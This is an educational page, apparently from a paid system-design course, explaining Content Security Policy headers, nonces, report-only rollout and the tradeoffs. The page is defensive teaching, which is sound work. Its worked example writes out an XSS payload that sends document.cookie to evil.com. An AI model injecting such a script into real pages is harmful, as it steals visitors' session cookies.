We use analytics cookies.We use cookies to analyze site traffic and improve your experience.
Loading...
System Design and AI Engineering, by Roni Das. 984 interactive lessons.
Start LearningIntermediate · Security Architecture
An HTTP response header that restricts which resources (scripts, styles, images) a page can load. A powerful defense against XSS attacks by whitelisting trusted sources.
In short
Content Security Policy (CSP) is an HTTP response header that tells the browser exactly which sources of scripts, styles, images, fonts, and other resources a page is allowed to load and execute. By whitelisting trusted origins and blocking everything else, it is the most effective browser-level defense against cross-site scripting (XSS) and data injection attacks.
In short
Content Security Policy (CSP) is an HTTP response header that tells the browser exactly which sources of scripts, styles, images, fonts, and other resources a page is allowed to load and execute. By whitelisting trusted origins and blocking everything else, it is the most effective browser-level defense against cross-site scripting (XSS) and data injection attacks.
Learn it in the course
This page is the free part.
₹1,111 in India$25 everywhere elseonce, for the whole course
The System Design course covers Content Security Policy across a run of lessons, not one page. These 4 alone are about 66 minutes of step-by-step reading, every one with a quiz.
HTTP response headers that instruct browsers to enforce security policies.
Cross-Site Scripting, injecting malicious scripts into web pages viewed by other users.
Filtering malicious HTTP traffic before it reaches your application, blocking SQL injection, XSS, and other web attacks at the edge.
Cleaning and validating all user input before processing, the first line of defense against injection attacks.
all part of
System Design Masterclass
770 lessons · about 287 hours · 18 free to read
₹1,111in India, by UPI
$25everywhere else, by PayPal
It is really nice and good Please join the course
You own this course
Continue with Security Headerspay once,
yours for life
A Content Security Policy is a set of rules a server sends to the browser in the Content-Security-Policy HTTP header (or, less commonly, a meta tag). Each rule names a resource type and the origins the browser may load that type from. For example, the policy default-src 'self'; script-src 'self' https://cdn.jsdelivr.net says scripts may only come from the same origin or jsdelivr, and everything else may only come from the same origin.
The browser enforces the policy on every page load. If a script tag points to a domain that is not on the allowlist, or if inline JavaScript runs when inline scripts are not permitted, the browser refuses to execute it and logs a violation in the console. The attacker's injected payload never runs, even if they managed to get it into the HTML.
CSP does not replace input sanitization or output encoding. It is a second layer that limits the damage when those first defenses fail. An XSS hole that would normally let an attacker steal session cookies becomes harmless if the injected script cannot load or cannot send data anywhere the policy forbids.
A policy is a string of directives separated by semicolons. Common directives include script-src, style-src, img-src, font-src, connect-src (for fetch and XHR and WebSocket), frame-src, and the catch-all default-src that applies to any type you did not name explicitly. Source values can be a specific host (https://api.stripe.com), a keyword like 'self' or 'none', a scheme like data:, or a cryptographic nonce or hash.
Inline scripts and styles are the hard part. The keyword 'unsafe-inline' allows them but defeats most of CSP's value, because injected inline scripts are exactly what XSS uses. The safe alternative is a nonce: the server generates a random value per response, puts it in the header as 'nonce-abc123', and adds nonce="abc123" to each legitimate inline script tag. The browser runs only tags carrying the matching nonce. Alternatively you can whitelist a specific inline block by its SHA-256 hash.
CSP supports a report-only mode via the Content-Security-Policy-Report-Only header. In this mode the browser does not block anything, it only sends JSON violation reports to a URL you specify with report-to. Teams use this to roll out a strict policy on a live site, watch what would have broken for a week or two, fix the legitimate violations, then switch to enforcing mode.
The strict-dynamic keyword changes how trust propagates. When a script you explicitly trusted (by nonce or hash) loads more scripts, those child scripts are trusted too, while plain host allowlists are ignored. This is the modern recommendation because long host allowlists are easy to bypass through open redirects or JSONP endpoints on otherwise trusted CDNs.
Use CSP on any site that renders user-controlled content, handles authenticated sessions, or processes payments. It is a common way to meet PCI DSS 4.0 rules 6.4.3 and 11.6.1 for scripts on payment pages, though the standard does not require CSP by name. For a brand-new app a nonce-based strict policy with strict-dynamic is the gold standard. For an existing app, start in report-only mode so you do not break production while you discover every script and style source.
The main cost is engineering effort and ongoing maintenance. Third-party widgets, analytics tags, A/B testing tools, and ad scripts each need their origins added, and they sometimes inject inline code or load further scripts that a strict policy blocks. A policy that is too loose ('unsafe-inline', wildcard *, or 'unsafe-eval') gives a false sense of security; one that is too tight breaks features and floods your reporting endpoint.
CSP only protects browsers that honor it, and it does nothing for non-browser API clients. It also will not stop logic flaws, CSRF, or server-side injection. Treat it as defense in depth: pair it with HttpOnly and Secure cookies, output encoding, and a Web Application Firewall rather than relying on it alone.
Say a comment field on a forum fails to escape input and an attacker posts <script>fetch('https://evil.com/steal?c='+document.cookie)</script>. Without CSP the browser runs that script and ships every visitor's session cookie to the attacker.
Now suppose the server sends Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; connect-src 'self'. The injected inline script has no nonce, so the browser refuses to run it. Even if the attacker somehow got a script to execute, connect-src 'self' blocks the fetch to evil.com, so the cookies cannot leave the site. The browser sends a violation report so the security team sees the attempt.
GitHub has written publicly about its own CSP rollout: it moved all inline script out of its pages so the policy could forbid inline code, then tightened the policy step by step. The goal was that even a successful HTML injection would find it very hard to load attacker scripts or send data out.
GitHub
Runs a strict nonce-based CSP rolled out via report-only mode; published a detailed engineering writeup on the migration and the violations they fixed.
Promotes strict CSP with nonces and strict-dynamic across its properties and built the open-source CSP Evaluator tool to grade policy strength.
Cloudflare
Lets sites add and manage CSP headers at the edge and offers a managed CSP and violation reporting feature so origins do not need to ship their own header logic.
Stripe
Stripe.js and Checkout publish the exact CSP directives merchants must allow (script-src and frame-src for js.stripe.com) so payment widgets load under a strict policy.
No. A well-built CSP, especially a nonce-based one, neutralizes most reflected and stored XSS by refusing to run injected scripts and blocking where data can be sent. But it cannot fix the underlying injection flaw, and a loose policy with unsafe-inline gives little protection. Treat it as a strong second layer behind proper input sanitization and output encoding.
The first header enforces the policy: violating resources are blocked. The Report-Only version blocks nothing and only sends violation reports to your endpoint. You almost always deploy report-only first to find what would break on a live site, fix the legitimate sources, then switch to the enforcing header.
Inline scripts are exactly what XSS injects. Allowing 'unsafe-inline' tells the browser to run any inline script on the page, including an attacker's, which defeats the main purpose of CSP. Use per-response nonces or SHA-256 hashes to allow your own inline code while still blocking injected code.
Use a nonce for dynamic inline scripts that change per request, since the server generates a fresh random value each response and stamps it on the trusted tags. Use a hash for static inline blocks that never change, because the hash of the exact content can be precomputed and put in the header. Many sites use nonces plus strict-dynamic as the modern default.
The recommended place is the Content-Security-Policy HTTP response header, set by your web server, framework, or CDN edge. A meta http-equiv tag in the HTML head also works for some directives but cannot use reporting and is harder to manage, so the header is preferred for anything serious.
XSS
Cross-Site Scripting: an attack where malicious scripts are injected into trusted websites. Prevented by sanitizing user input and setting Content-Security-Policy headers.
CORS
Cross-Origin Resource Sharing: a security mechanism that controls which domains can access your API. The browser enforces it; the server configures it.
WAF
Web Application Firewall: filters and monitors HTTP traffic between a web application and the internet. Blocks SQL injection, XSS, and other OWASP top-10 attacks.
Throttling
Slowing down the rate of processing requests instead of rejecting them outright. The gentler cousin of rate limiting.
OAuth
An authorization framework that lets users grant third-party apps limited access to their accounts without sharing passwords. Powers 'Sign in with Google.'
JWT
JSON Web Token: a compact, self-contained token for transmitting claims between parties. The server can verify it without a database lookup.
This page explains the idea. The course covers it step by step, with diagrams. It is part of the System Design Masterclass course, which has 770 lessons. 18 of them are free to read. You pay once and keep it for life, with no subscription.
See the System Design Masterclass coursecourse 1
From absolute beginner to principal engineer, drawn step by step.
Asked about Content Security Policy in an interview?
Each question has why it is asked, a full answer, what the interviewer listens for, the follow-ups, the common mistakes and a diagram (268 diagrams in all). A PDF you keep, junior to staff level.
India: UPI, cards or netbanking through Razorpay. Elsewhere: card or PayPal. Download at once from My packs.
